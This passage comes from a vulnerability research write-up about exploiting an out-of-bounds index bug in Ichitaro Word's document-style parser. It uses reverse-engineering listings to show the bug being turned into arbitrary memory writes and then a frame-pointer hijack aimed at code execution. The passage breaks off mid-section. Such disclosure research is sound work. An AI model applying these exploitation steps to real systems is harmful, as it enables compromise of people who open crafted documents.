</code></pre><p>From a cursory glance at the <code>object_9c2044::method_processStreams_77af0f</code> method in the listing, it seems that the stream of interest is one of the first two streams that are being parsed by the application. This implies that there is not much logic that is executed between the document being opened and our vulnerability being reached. To influence the state of the application before our vulnerability, we are limited only to the logic related to parsing the streams containing the document styles. If we end up hijacking execution at any time within the vulnerability&apos;s scope, we&apos;ll need some way of maintaining control afterward to modify the permissions of whatever page we plan on loading.</p><p>Exploring some of the other stream parsers seems to show that virtual methods are called upon by some objects to read from the stream. These exist in a writable part of some of the available modules, so we can likely overwrite them globally if we determine it necessary. However, this would also result in the &quot;breaking&quot; of that functionality for the entire application since the virtual method would not be usable anymore.</p><p>Since our write is happening at the beginning of the application parsing the document, anything we overwrite would have to be used by the one or two streams that read data from the file. Performing a rudimentary query on the parsers for the record types belonging to both the <code>DocumentViewStyles</code><em> </em>and <code>DocumentEditStyles</code> streams show that nothing is being read dynamically into the heap or any other means, and so we&apos;ll have to use our vulnerability to write the entire payload and anything else we might need.</p><pre><code class="language-Python">Python&gt; func.frame(0x3BE11906).members
&lt;class &apos;structure&apos; name=&apos;$ F3BE11906&apos; offset=-0xcc size=0xe4&gt;
     -cc+0x10                                          [None, 16]
[0]  -bc+0x4                  int &apos;var_B4&apos;             (&lt;class &apos;int&apos;&gt;, 4)
[1]  -b8+0x4                  int &apos;var_B0&apos;             (&lt;class &apos;int&apos;&gt;, 4)
[2]  -b4+0x2              __int16 &apos;var_AC&apos;             (&lt;class &apos;int&apos;&gt;, 2)
...
[13] -8d+0x1                 char &apos;lvb_85&apos;             (&lt;class &apos;int&apos;&gt;, 1)
[14] -8c+0x2              __int16 &apos;lvw_case_84&apos;        (&lt;class &apos;int&apos;&gt;, 2)
     -8a+0x2                                           [None, 2]
[15] -88+0xc         arena_reader &apos;lv_triple_80&apos;       &lt;class &apos;structure&apos; name=&apos;arena_reader&apos; offset=-0x88 size=0xc&gt;
[16] -7c+0x4                  int &apos;lv_size_74&apos;         (&lt;class &apos;int&apos;&gt;, 4)
[17] -78+0x2              __int16 &apos;lvw_index_70&apos;       (&lt;class &apos;int&apos;&gt;, 2)
[18] -76+0x2              __int16 &apos;var_6E&apos;             (&lt;class &apos;int&apos;&gt;, 2)
[19] -74+0x18   object_9d15a0*[6] &apos;lv_objects(6)_6c&apos;   [(&lt;class &apos;type&apos;&gt;, 4), 6]
[20] -5c+0x50         wchar_t[40] &apos;lv_wstring(28)_54&apos;  [(&lt;class &apos;int&apos;&gt;, 2), 40]
[21]  -c+0x4                  int &apos;var_4&apos;              (&lt;class &apos;int&apos;&gt;, 4)
[22]  -8+0x4              char[4] &apos; s&apos;                 [(&lt;class &apos;int&apos;&gt;, 1), 4]
[23]  -4+0x4              char[4] &apos; r&apos;                 [(&lt;class &apos;int&apos;&gt;, 1), 4]
[24]   0+0x4  JSVDA::object_OSEG* &apos;ap_oseg_0&apos;          (&lt;class &apos;type&apos;&gt;, 4)
[25]   4+0x4                  int &apos;av_size_4&apos;          (&lt;class &apos;int&apos;&gt;, 4)
[26]   8+0x4                  int &apos;av_someFlag_8&apos;      (&lt;class &apos;int&apos;&gt;, 4)
[27]   c+0x4                  int &apos;av_documentType_c&apos;  (&lt;class &apos;int&apos;&gt;, 4)
[28]  10+0x4                  int &apos;ap_nullobject_10&apos;   (&lt;class &apos;int&apos;&gt;, 4)
[29]  14+0x4                 int* &apos;ap_unusedResult_14&apos; (&lt;class &apos;type&apos;&gt;, 4)</code></pre><p>This listing shows the layout of the entire frame belonging to the <code>object_9d0d30::readStyleType(2008)_391906</code> method which contains our vulnerability. In this layout, the <code>lv_objects(6)_6c</code> field contains the six-element array of pointers that our index is used with. This means that we&apos;ll be dereferencing a pointer relative to this array. Right after this array is a buffer before the canary protecting the caller&apos;s frame pointer and address. If we cross-reference this field, we can see that it is referenced during the processing of case <code>5</code>.&#xA0;</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/LQ0cR6ekJb6zJ6ogLnn_8WR5RY6Ryc0wSteEewAuxaU9S4P3QJwYkWKeKRlNYxgorIAAvPcb4mn8gCJgFa3JDcwBsvFYeoqWwVqmd3JpqbGxgO04SSIy9p3vJ4XVTFc4LZesv7oF3V1lgHcf5YLJtOA" class="kg-image" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word" loading="lazy" width="995" height="603"></figure><p>In case <code>5</code>, the implementation will read two 16-bit fields, containing the index and size. This size is checked against the <code>0x66</code> constant before it is used to read an array of 16-bit integers into the referenced buffer of <code>0x50</code> bytes in size. After being checked against <code>0x66</code>, the size is aligned to a multiple of 2 and then verified that it is less than <code>0x42</code>. If the length verification fails this time, the <em><code>__report_rangecheckfailure</code></em> function will immediately terminate execution.</p><p>If this check is passed, the array that was read will be used to construct the prior-mentioned short object and then written to the array of six objects that are located on the stack. There is no other code within this function that uses this 16-bit integer array, and since it is used to temporarily store the array of 16-bit integers read from the file, we can reuse its space to store any pointers that we will want to use during exploitation.</p><h1 id="vulnerabilitys-capabilities">Vulnerability&apos;s capabilities</h1><p>Moving back to the proof-of-concept, we&apos;ll need to combine the two mentioned cases for record <code>0x2008</code>, so that we can emit the necessary records to write to an arbitrary address. Case <code>5</code>, allows us to store an array of 16-bit integers into a buffer, so we will use this to store the pointers that will be dereferenced to the <code>lv_wstring(28)_54</code> field. Case <code>7</code>, allows us to specify an out-of-bounds index and so we can specify an index that will dereference a pointer from the <code>lv_wstring(28)_54</code> field that we loaded with <code>case 5</code>. The combination of these two types allows us to write a controlled 32-bit integer to a controlled address.</p><p>Due to the limit of our scope, with the vulnerability being at the very beginning of the document being parsed, we are restricted in that we must use the vulnerability to load the entirety of our payload within the application&#x2019;s address space. This implies that we&#x2019;ll need to promote the primitive 32-bit write to an arbitrary address into a primitive that allows us to write an arbitrary amount of data to an arbitrary address. If we use the same technique of one record with type <code>5</code> followed by a record of type <code>7</code>, this would result in a size cost of six bytes composed of the <code>type</code>, <code>size</code>, and <code>index</code>, followed by 32 bits for the integer or the address (<code>10</code> bytes in total). Since both record types are being used, the overhead would be <code>20</code> bytes for every 32-bit integer that we wish to write. Fortunately, this overhead can be reduced due to there being more space within the <code>lv_wstring(28)_54</code> field that we can use to store each address that will need to be written to.</p><p>The upper bound of the size before <code>__report_rangecheckfailure</code> is <code>0x42</code> bytes and we will need to include extra space for the null-terminator at the beginning of the string. This will allow us to load 15 addresses for every type 5 record using <code>0x46</code> bytes. Then using a type <code>7</code> record for each integer to write will result in the cost being <code>10</code> bytes per 32-bit integer, an improvement. To accommodate an amount of data that is not a multiple of <code>4</code>, we simply write an unaligned 32-bit integer at the end for the extra bytes and proceed to fill the space before as described. After implementing these abstractions in our exploit, the next step is to figure out what to hijack.</p><h3 id="hijacking-execution">Hijacking execution</h3><p>As we can write anywhere within the address space, we could overwrite some global pointers to hijack execution. But, if we review the code within and around our immediate scope, the only virtual methods that are available to hijack are only used for reading the contents of the current stream being parsed. If we examine the contents of these objects, it turns out that there is absolutely nothing inside them that contains useful data or even pointers that may allow us to corrupt other parts of the application. As such, we need to hope that something we can influence with the contents of the stream resides at a predictable place in memory.&#xA0;</p><pre><code class="language-Python">Python&gt; struc.by(&apos;JSVDA::object_OSEG&apos;)
&lt;class &apos;structure&apos; name=&apos;JSVDA::object_OSEG&apos; size=0x10&gt;         # [alloc.tag] OSEG

Python&gt; struc.by(&apos;JSVDA::object_OSEG&apos;).members
&lt;class &apos;structure&apos; name=&apos;JSVDA::object_OSEG&apos; size=0x10&gt;         # [alloc.tag] OSEG
[0]  0+0x4               int &apos;p_vftable_0&apos; (&lt;class &apos;int&apos;&gt;, 4)   # [vftable] 0x27818738
[1]  4+0xc object_OSEG::data &apos;v_data_4&apos;    &lt;class &apos;structure&apos; name=&apos;object_OSEG::data&apos; offset=0x4 size=0xc&gt;

Python&gt; struc.by(&apos;JSVDA::object_OSEG&apos;).members[1].type.members
&lt;class &apos;structure&apos; name=&apos;object_OSEG::data&apos; offset=0x4 size=0xc&gt;
[0]  4+0x4     int &apos;v_bucketIndex_0&apos;    (&lt;class &apos;int&apos;&gt;, 4)
[1]  8+0x8 __int64 &apos;v_currentOffset?_4&apos; (&lt;class &apos;int&apos;&gt;, 8)</code></pre><p>This listing shows the layout of the object used to read data from the stream. As listed, the object has only one field which is the index or handle for the document. Due to the lack of ASLR, we could overwrite one of the virtual method tables that are referenced by this object. However, the only methods that the application uses from this object are used by the same record implementation to parse it. Anything we overwrite will immediately break this object and prevent the application from loading any more data from the document.</p><p>Examining the stack also shows that there are not any useful pointers other than one to a global object which is initialized statically and is thus scoped to the application. However, there are frame pointers on the stack that may be used. We will only need to discover a relative reference to one to use it. Due to the nature of how code is executed, we can assume that everything within our vulnerability&#x2019;s context originates from a caller farther up the stack. Hence, it is either copied out of the heap belonging to another component, entered our scope via some global state, or enters scope as a parameter. We will also need to keep in mind that we are only able to write a 32-bit integer at <code>+0x58</code>, 16-bit integers between <code>+0x34</code> and <code>+0x60</code>, or a pointer to a structure containing a string at <code>+0x4C</code> relative to our chosen pointer. Hence, we will need to search to find a reference to a frame that allows us to hijack execution within these constraints.&#xA0;</p><p>If we capture the call stack at the point of the vulnerability being triggered, we can grab the layout of each frame, and use it to identify any fields that are <code>+0x58</code> for case <code>7</code>, or <code>+0x4C - 4</code> for case <code>5</code>.</p><pre><code class="language-python">Python&gt; callstack = [0x3be11d03, 0x3be27501, 0x3be278b2, 0x3be2793e, 0x3c1fb083, 0x3c1fb495, 0x3c1fb4ef, 0x3be2795d]
Python&gt; list(map(function.address, callstack))
[0x3be11906, 0x3be27048, 0x3be276be, 0x3be2790a, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]

# Exchange each address in the backtrace with the function that owns it.
Python&gt; functions = list(map(function.address, callstack))
Python&gt; pp(list(map(function.name, functions)))
[&apos;object_9d0d30::readStyleType(2008)_391906&apos;,
 &apos;struc_3a9de4::parseStylesContent_3a7048&apos;,
 &apos;object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be&apos;,
 &apos;object_9c2044::parseStream(DocumentViewStyles)_3a790a&apos;,
 &apos;object_9c2044::method_processStreams_77af0f&apos;,
 &apos;object_9c2044::vmethod_processStreamsTwice_77b3ed&apos;,
 &apos;object_9e9d90::processDocumentByType_77b4ab&apos;,
 &apos;sub_3BE27954&apos;]

# Grab the frame for each function and align them contiguously.
Python&gt; frames = list(map(func.frame, functions))
Python&gt; contiguous = struc.right(frames[-1], frames[-1:])

# Display all frame pointers along with the offset needed to overwrite them.
Python&gt; for frame in contiguous: print(&quot;{:#x} : {}&quot;.format(frame.byname(&apos; s&apos;).offset - 0x58, frame.byname(&apos; s&apos;)))
-0x640 : &lt;member &apos;$ F3BE11906. s&apos; index=22 offset=-0x5e8 size=+0x4 typeinfo=&apos;char[4]&apos;&gt;
-0x608 : &lt;member &apos;$ F3BE27048. s&apos; index=3 offset=-0x5b0 size=+0x4 typeinfo=&apos;char[4]&apos;&gt;
-0x55c : &lt;member &apos;$ F3BE276BE. s&apos; index=25 offset=-0x504 size=+0x4 typeinfo=&apos;char[4]&apos;&gt;
-0x53c : &lt;member &apos;$ F3BE2790A. s&apos; index=0 offset=-0x4e4 size=+0x4 typeinfo=&apos;char[4]&apos;&gt;
-0x2cc : &lt;member &apos;$ F3C1FAF0F. s&apos; index=9 offset=-0x274 size=+0x4 typeinfo=&apos;char[4]&apos;&gt;
-0x9c : &lt;member &apos;$ F3C1FB3ED. s&apos; index=3 offset=-0x44 size=+0x4 typeinfo=&apos;char[4]&apos;&gt;
-0x78 : &lt;member &apos;$ F3C1FB4AB. s&apos; index=0 offset=-0x20 size=+0x4 typeinfo=&apos;char[4]&apos;&gt;
-0x60 : &lt;member &apos;$ F3BE27954. s&apos; index=0 offset=-0x8 size=+0x4 typeinfo=&apos;char[4]&apos;&gt;

# Gather them into a set.
Python&gt; offsets = set(item.byname(&apos; s&apos;).offset - 0x58 for item in contiguous)

# Display each frame and any of its members that contain one of the determined offsets.
Python&gt; for frame in contiguous: print(frame), frame.members.list(offset=offsets), print()
&lt;class &apos;structure&apos; name=&apos;$ F3BE11906&apos; offset=-0x6ac size=0xe4&gt;
[20] -63c+0x50         wchar_t[40] &apos;lv_wstring(28)_54&apos;  [(&lt;class &apos;int&apos;&gt;, 2), 40]

&lt;class &apos;structure&apos; name=&apos;$ F3BE27048&apos; offset=-0x5c8 size=0x38&gt;

&lt;class &apos;structure&apos; name=&apos;$ F3BE276BE&apos; offset=-0x590 size=0xa8&gt;
[12] -55c:+0x4           int &apos;var_58&apos;      (&lt;class &apos;int&apos;&gt;, 4)
[20] -53c:+0x28 struc_3a9de4 &apos;lv_struc_38&apos; &lt;class &apos;structure&apos; name=&apos;struc_3a9de4&apos; offset=-0x53c size=0x28&gt;  # [note] Wanted object

&lt;class &apos;structure&apos; name=&apos;$ F3BE2790A&apos; offset=-0x4e8 size=0x18&gt;

&lt;class &apos;structure&apos; name=&apos;$ F3C1FAF0F&apos; offset=-0x4d0 size=0x278&gt;
[7]  -4a0+0x228           object_2f27f8 &apos;lv_object_22c&apos;      &lt;class &apos;structure&apos; name=&apos;object_2f27f8&apos; offset=-0x4a0 size=0x228&gt;

&lt;class &apos;structure&apos; name=&apos;$ F3C1FB3ED&apos; offset=-0x258 size=0x230&gt;
[1] -248+0x200        wchar_t[256] &apos;lv_wstring_204&apos;    [(&lt;class &apos;int&apos;&gt;, 2), 256]

&lt;class &apos;structure&apos; name=&apos;$ F3C1FB4AB&apos; offset=-0x28 size=0x20&gt;

&lt;class &apos;structure&apos; name=&apos;$ F3BE27954&apos; offset=-0x8 size=0x18&gt;</code></pre><p>From this listing, we have only five results, only two of which appear to be pointing to a field that may be referenced. This number of results is small enough to verify manually and we discover that the field, <code>lv_struc_38</code>, which begins at exactly <code>0x58</code> bytes from a frame pointer is perfect for our 32-bit write. This field belongs to the frame for the function at <code>0x3BE276BE</code> which is the method named <code>object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be</code>. Examining the prototypes of the functions called by this method shows that the object appears to only be used by a single method.</p><pre><code class="language-python"># Grab all of the calls for function 0x3BE276BE that do not use a register as its operand.
Python&gt; calls = {ins.op_ref(ref) for ref in function.calls(0x3BE276BE) if not isinstance(ins.op(ref), register_t)}

# List all functions that we selected.
Python&gt; db.functions.list(typed=True, ea=calls)
[0]  +0x109b2a : 0x3bb89b2a..0x3bb89b9e : (1) FvD+ : __thiscall object_10cbd2::get_field(3c)_109b2a          : lvars:1c args:2 refs:100  exits:1
[1]  +0x1329ce : 0x3bbb29ce..0x3bbb29e8 : (1) Fvt+ :    __cdecl object_OSEG::setCurrentStreamPosition_1329ce : lvars:00 args:5 refs:182  exits:1
[2]  +0x132a07 : 0x3bbb2a07..0x3bbb2a15 : (1) Fvt+ :    __cdecl object_OSEG::destroy_132a07                  : lvars:00 args:1 refs:270  exits:1
[3]  +0x132de4 : 0x3bbb2de4..0x3bbb2e41 : (1) FvT+ :    __cdecl object_OFRM::openStreamByName?_132de4        : lvars:08 args:4 refs:144  exits:1
[4]  +0x1a9adb : 0x3bc29adb..0x3bc29bff : (1) FvD+ : __thiscall sub_3BC29ADB                                 : lvars:68 args:1 refs:7    exits:1
[5]  +0x1cbf85 : 0x3bc4bf85..0x3bc4c3f2 : (1) FvD+ : __thiscall sub_3BC4BF85                                 : lvars:6c args:2 refs:6    exits:1
[6]  +0x1d5697 : 0x3bc55697..0x3bc558b7 : (1) FvD+ : __thiscall object_9bd120::method_1d5697                 : lvars:8c args:1 refs:6    exits:1
[7]  +0x2198ca : 0x3bc998ca..0x3bc9998f : (1) FvD+ : __thiscall sub_3BC998CA                                 : lvars:28 args:4 refs:38   exits:1
[8]  +0x3a7048 : 0x3be27048..0x3be27664 : (1) FvT+ : __thiscall struc_3a9de4::parseStylesContent_3a7048      : lvars:18 args:7 refs:2    exits:1
[9]  +0x3a7664 : 0x3be27664..0x3be276be : (1) FvT+ :    __cdecl object_OSEG::read_ushort_3a7664              : lvars:1c args:2 refs:90   exits:1
[10] +0x3a9547 : 0x3be29547..0x3be2955d : (1) FvD+ : __thiscall sub_3BE29547                                 : lvars:00 args:3 refs:5    exits:1
[11] +0x3a9638 : 0x3be29638..0x3be2963b : (1) FvD+ :  __unknown return_3a9638                                : lvars:00 args:0 refs:30   exits:1
[12] +0x3a9de4 : 0x3be29de4..0x3be29e05 : (1) FvD* : __thiscall constructor_3a9de4                           : lvars:00 args:1 refs:7    exits:1
[13] +0x7b15a6 : 0x3c2315a6..0x3c23161a : (1) FvD+ : __thiscall object_10cbd2::get_field(38)_7b15a6          : lvars:1c args:2 refs:36   exits:1
[14] +0x7b9e07 : 0x3c239e07..0x3c239e7c : (1) FvD+ : __thiscall object_10cbd2::get_field(34)_7b9e07          : lvars:1c args:2 refs:98   exits:1
[15] +0x8ea4fd : 0x3c36a4fd..0x3c36a50e : (1) LvD+ :  __unknown __EH_epilog3_GS                              : lvars:00 args:0 refs:2546 exits:0

# Grab all our results that are typed, and emit their prototype.
Python&gt; for ea in db.functions(tag=&apos;__typeinfo__&apos;, ea=calls): print(function.tag(ea, &apos;__typeinfo__&apos;))
object_9bd184 *__thiscall object_10cbd2::get_field(3c)_109b2a(object_10cbd2 *this, __int16 avw_0)
int __cdecl object_OSEG::setCurrentStreamPosition_1329ce(JSVDA::object_OSEG *ap_oseg_0, int av_low_4, int av_high_8, int av_reset?_c, __int64 *ap_resultOffset_10)
int __cdecl object_OSEG::destroy_132a07(JSVDA::object_OSEG *ap_oseg_0)
int __cdecl object_OFRM::openStreamByName?_132de4(JSVDA::object_OFRM *ap_oframe_0, char *ap_streamName_4, int av_flags_8, JSVDA::object_OSEG **)
int __thiscall sub_3BC29ADB(object_9bd0e4 *this)
int __thiscall sub_3BC4BF85(object_9bd184 *this, int a2)
int __thiscall object_9bd120::method_1d5697(object_9bd120 *this)
int __thiscall sub_3BC998CA(object_9bd0e4 *this, int av_length_0, int av_field_4, int av_neg1_8)
int __thiscall struc_3a9de4::parseStylesContent_3a7048(struc_3a9de4 *this, JSVDA::object_OSEG *ap_oseg_0, int av_position(lo)_4, int av_position(hi)_8, int av_currentStreamState?_c, frame_3a7048_arg_10 ap_unkobjectunion_10, frame_3a7048_arg_14 ap_nullunion_14)
int __cdecl object_OSEG::read_ushort_3a7664(JSVDA::object_OSEG *ap_this_0, _WORD *ap_result_4)
_DWORD *__thiscall sub_3BE29547(_DWORD *this, __int16 arg_0, int arg_4)
void return_3a9638()
struc_3a9de4 *__thiscall constructor_3a9de4(struc_3a9de4 *this)
object_9bd120 *__thiscall object_10cbd2::get_field(38)_7b15a6(object_10cbd2 *this, __int16 avw_noCreate_0)
object_9bd0e4 *__thiscall object_10cbd2::get_field(34)_7b9e07(object_10cbd2 *this, __int16)
void __EH_epilog3_GS)

# Only this prototype references our object as its &quot;this&quot; parameter.
int __thiscall struc_3a9de4::parseStylesContent_3a7048(struc_3a9de4 *this, JSVDA::object_OSEG *ap_oseg_0, int av_position(lo)_4, int av_position(hi)_8, int av_currentStreamState?_c, frame_3a7048_arg_10 ap_unkobjectunion_10, frame_3a7048_arg_14 ap_nullunion_14)</code></pre><p>From the results in the listing, it seems that the <code>struc_3a9de4::parseStylesContent_3a7048</code> method references our desired type as its <code>this</code> parameter. During review of the <code>struc_3a9de4::parseStylesContent_3a7048</code> method, the object represented by <code>this</code> is stored in the <code>%edi</code> register. Our goal is now to find a pointer to this structure either by being directly referenced or through the <code>%edi</code> register from this method. To find a candidate, we can manually walk from the call stack and enumerate all the places where the type is used, or we can utilize a debugger to monitor the places that reference anything within the structure. Fortunately, our search space is relatively small and we can easily find it in the following listing.</p><pre><code class="language-javascript">.text:3BE27048 000                 push    ebp
.text:3BE27049 004                 mov     ebp, esp
.text:3BE2704B 004                 sub     esp, 0Ch
.text:3BE2704E 010                 and     [ebp+lv_result_4], 0
.text:3BE27052 010                 push    ebx
.text:3BE27053 014                 mov     ebx, [ebp+ap_oseg_0]                             ; parameter: struc_3a9de4 *this
...
.text:3BE274D4     loc_3BE274D4:
.text:3BE274D4 01C                 mov     ecx, [ecx+object_9c2044.v_data_290.p_object_84]
.text:3BE274DA 01C                 mov     eax, [ecx+object_9c2d50.v_data_4.p_object_60]
.text:3BE274DD 01C                 test    eax, eax
.text:3BE274DF 01C                 jnz     short loc_3BE274EE
.text:3BE274E1 01C                 call    object_9c2d50::create_field(64)_6bf3a6
.text:3BE274E6 01C                 test    eax, eax
.text:3BE274E8 01C                 jz      loc_3BE27625
.text:3BE274EE
.text:3BE274EE     loc_3BE274EE:
.text:3BE274EE 01C                 lea     ecx, [ebp+lv_result_4]
.text:3BE274F1 01C                 push    ecx
.text:3BE274F2 020                 push    dword ptr [ebp+ap_unkobjectunion_10]
.text:3BE274F5 024                 mov     ecx, eax
.text:3BE274F7 024                 push    [edi+struc_3a9de4.v_documentType_8]
.text:3BE274FA 028                 push    [ebp+ap_oseg_0]
.text:3BE274FD 02C                 push    [edi+struc_3a9de4.v_header_long_4]
.text:3BE27500 030                 push    ebx                                              ; pushed onto stack
.text:3BE27501 034                 call    object_9d0d30::readStyleType(2008)_391906
.text:3BE27506 01C                 jmp     loc_3BE2736F
</code></pre><p>If we examine the caller of the <code>object_9d0d30::readStyleType(2008)_391906</code>, and traverse backward from it, the first call instruction that we encounter calls a method named <code>object_9c2d50::create_field(64)_6bf3a6</code>. This method is also called on the condition that a field, <code>object_9c2d50::v_data_4::p_object_60</code> is initialized as zero. The relevant path from the beginning of the encompassing method to the conditionally called method is shown in the prior listing.</p><p>Due to both the <code>object_9c2d50::create_field(64)_6bf3a6</code> and <code>object_9d0d30::readStyleType(2008)_391906</code> functions being called by the same function, their frames are guaranteed to overlap. We aim to identify a function that preserves the <code>%edi</code> register as part of its prolog by performing a breadth-first search from the <code>struc_3a9de4::parseStylesContent_3a7048</code> method and using the results to build a list of candidate call stacks that could be filtered.</p><p>The following listing combines the call stack from the scope of the vulnerability to identify the candidate range to use when filtering the results. In this listing, the range is from <code>-0xAC</code> to <code>-0x58</code>. By applying this filter to our candidates, we discover that the prolog for function <code>0x3BDFD8F8</code> stores several registers within this range. One of these registers is our desired <code>%edi</code> register, which is at offset <code>-0xA4</code> in our listing. This overlaps with the <code>lv_wstring(28)_54</code> field belonging to our vulnerable function&apos;s frame.</p><pre><code class="language-Python"># Assign the callstacks that we will be comparing.
callstack_for_vulnerability =                           [0x3be11906, 0x3be27048]
callstack_for_conditional =     [0x3c36a51f, 0x3bdfd8f8, 0x3c13f3a6, 0x3be27048]

# Print out the first layout (right-aligned to offset 0).
Python&gt; [frame.members for frame in struc.right(0, map(function.frame, callstack_for_vulnerability))]
[&lt;class &apos;structure&apos; name=&apos;$ F3BE11906&apos; offset=-0x11c size=0xe4&gt;
     -11c+0x10                                          [None, 16]
[0]  -10c+0x4                  int &apos;var_B4&apos;             (&lt;class &apos;int&apos;&gt;, 4)
[1]  -108+0x4                  int &apos;var_B0&apos;             (&lt;class &apos;int&apos;&gt;, 4)
[2]  -104+0x2              __int16 &apos;var_AC&apos;             (&lt;class &apos;int&apos;&gt;, 2)
...
[8]   -c+0x4                 int &apos;av_currentStreamState?_c&apos; (&lt;class &apos;int&apos;&gt;, 4)      # [note] usually 2, and seems to be only used during function exit
[9]   -8+0x4 frame_3a7048_arg_10 &apos;ap_unkobjectunion_10&apos;     &lt;class &apos;union&apos; name=&apos;frame_3a7048_arg_10&apos; offset=-0x8 size=0x4&gt;
[10]  -4+0x4 frame_3a7048_arg_14 &apos;ap_boxunion_14&apos;           &lt;class &apos;union&apos; name=&apos;frame_3a7048_arg_14&apos; offset=-0x4 size=0x4&gt;] # [note] used by types 0x2008 and 0x2010

# Print out the second layout (right-aligned to offset 0).
Python&gt; [frame.members for frame in struc.right(0, map(function.frame, callstack_for_conditional)))]
[&lt;class &apos;structure&apos; name=&apos;$ F3C36A51F&apos; offset=-0x98 size=0x8&gt;
[0] -98+0x4 char[4] &apos; r&apos;    [(&lt;class &apos;int&apos;&gt;, 1), 4]
[1] -94+0x4     int &apos;arg_0&apos; (&lt;class &apos;int&apos;&gt;, 4), &lt;class &apos;structure&apos; name=&apos;$ F3BDFD8F8&apos; offset=-0x90 size=0x30&gt;
    -90+0x10                      [None, 16]
[0] -80+0x4      int &apos;var_10&apos;     (&lt;class &apos;int&apos;&gt;, 4)
...
[5]  -18+0x4 JSVDA::object_OSEG* &apos;ap_oseg_0&apos;                (&lt;class &apos;type&apos;&gt;, 4)
[6]  -14+0x4                 int &apos;av_position(lo)_4&apos;        (&lt;class &apos;int&apos;&gt;, 4)
[7]  -10+0x4                 int &apos;av_position(hi)_8&apos;        (&lt;class &apos;int&apos;&gt;, 4)
[8]   -c+0x4                 int &apos;av_currentStreamState?_c&apos; (&lt;class &apos;int&apos;&gt;, 4)      # [note] usually 2, and seems to be only used during function exit
[9]   -8+0x4 frame_3a7048_arg_10 &apos;ap_unkobjectunion_10&apos;     &lt;class &apos;union&apos; name=&apos;frame_3a7048_arg_10&apos; offset=-0x8 size=0x4&gt;
[10]  -4+0x4 frame_3a7048_arg_14 &apos;ap_boxunion_14&apos;           &lt;class &apos;union&apos; name=&apos;frame_3a7048_arg_14&apos; offset=-0x4 size=0x4&gt;] # [note] used by types 0x2008 and 0x2010

# Emit the members from the vulnerability&apos;s backtrace that are worth dereferencing.
Python&gt; [frame.members.list(bounds=(-0xc4, -0x58)) for frame in struc.right(0, map(function.frame, callstack_for_vulnerability))]
[19] -c4:+0x18 object_9d15a0*[6] &apos;lv_objects(6)_6c&apos;  [(&lt;class &apos;type&apos;&gt;, 4), 6]
[20] -ac:+0x50       wchar_t[40] &apos;lv_wstring(28)_54&apos; [(&lt;class &apos;int&apos;&gt;, 2), 40]
[21] -5c:+0x4                int &apos;var_4&apos;             (&lt;class &apos;int&apos;&gt;, 4)

# Emit the members within the other backtrace that overlaps &quot;lv_wstring(28)_54&quot;..&quot;var_4&quot;.
Python&gt; [frame.members.list(bounds=(-0xac, -0x58)) for frame in struc.right(0, map(function.frame, callstack_for_conditional))]
[2] -ac:+0x4     int &apos;var_14&apos;        (&lt;class &apos;int&apos;&gt;, 4)
[3] -a8:+0x4     int &apos;lv_canary_10&apos;  (&lt;class &apos;int&apos;&gt;, 4)
[4] -a4:+0x4     int &apos;lv_reg(edi)_c&apos; (&lt;class &apos;int&apos;&gt;, 4)
[5] -a0:+0x4     int &apos;lv_reg(esi)_8&apos; (&lt;class &apos;int&apos;&gt;, 4)
[6] -9c:+0x4     int &apos;lv_reg(ebx)_4&apos; (&lt;class &apos;int&apos;&gt;, 4)
[7] -98:+0x4 char[4] &apos; r&apos;            [(&lt;class &apos;int&apos;&gt;, 1), 4]
[8] -94:+0x4     int &apos;arg_0&apos;         (&lt;class &apos;int&apos;&gt;, 4)
[0] -80:+0x4     int &apos;var_10&apos;     (&lt;class &apos;int&apos;&gt;, 4)
[1] -74:+0x4     int &apos;var_4&apos;      (&lt;class &apos;int&apos;&gt;, 4)
[2] -70:+0x4 char[4] &apos; s&apos;         [(&lt;class &apos;int&apos;&gt;, 1), 4]
[3] -6c:+0x4 char[4] &apos; r&apos;         [(&lt;class &apos;int&apos;&gt;, 1), 4]
[4] -68:+0x4     int &apos;ap_owner_0&apos; (&lt;class &apos;int&apos;&gt;, 4)
[5] -64:+0x4     int &apos;ap_owner_4&apos; (&lt;class &apos;int&apos;&gt;, 4)</code></pre><p>There is a caveat, however, due to the <code>object_9c2d50::create_field(64)_6bf3a6</code> method only being called when the <code>object_9c2d50.v_data_4.p_object_60</code> field is initialized with <code>0x00000000</code>. Hence, we will use the decompiler to locate all known global references to this field within our scope and use them to determine if there is some way that we may initialize this value.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/aRRx1wQ5buzkY8cggS1rswsl7KitAnahEU494DqyX0b9E6I0yfxn0LT-2KlV5cz3Wtt9Hi8ErhKA1Jq37dgwhIwcQhiOPrFo5MEQmmEUymKpFfC7pGC05fYzIu0AHceuNyKiZIstNs9s76A5D2Y9TE0" class="kg-image" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word" loading="lazy" width="885" height="266"></figure><p>Unfortunately from these results, it turns out that the <code>object_9c2d50.v_data_4.p_object_60</code> field is only initialized upon entry and exit and requires that this object is not constructed by any of the other record types. Verifying this using the debugger shows that this condition prevents us from using any of the other available record types that were necessary to leverage this path.</p><p>However, there are still more candidates we can go through. Another is at the first function call inside <code>struc_3a9de4::parseStylesContent_3a7048</code>. This descends into the <code>struc_3a9de4::readBoxHeader?_3a6fae</code> function, which then depends on a method defined within the <code>JSVDA.DLL</code> library. The prolog of this method also pushes the <code>%edi</code> register onto the stack. If we set a memory access breakpoint on writing to this address and modify our document to avoid hitting any of the other conditionals that we&#x2019;ve identified within the function, we can confirm that the preserved reference to <code>lv_struc_38</code> is accessible to us within our desired range.&#xA0;</p><p>Finally, we&#x2019;ve been able to expand the capabilities of our vulnerability, which was originally an out-of-bounds array index, to a relative dereference with a 32-bit write. Then we reused some of the capabilities within the function that contained the vulnerability to promote the vulnerability into an arbitrary length write to an absolute address. Afterward, we leveraged the control flow to allow us to perform a frame-pointer overwrite for the frame preserved by the <code>object_9c2044::parseStream(DocumentEditStyles)_3a6cb2</code> method which belongs to its caller, the <code>object_9c2044::method_processStreams_77af0f</code> method. After the application has parsed our steam and returns to this method, we should have control of the frame pointer and the method&#x2019;s local variables as a consequence. This should enable us to hijack execution more elegantly and still allow us to repair the damage that we&#x2019;ve done with our vulnerability.</p><h3 id="hijacking-frame-pointer">Hijacking frame pointer</h3><p>Once we&#x2019;ve developed the ability to control a frame pointer for a method that is still within our scope of 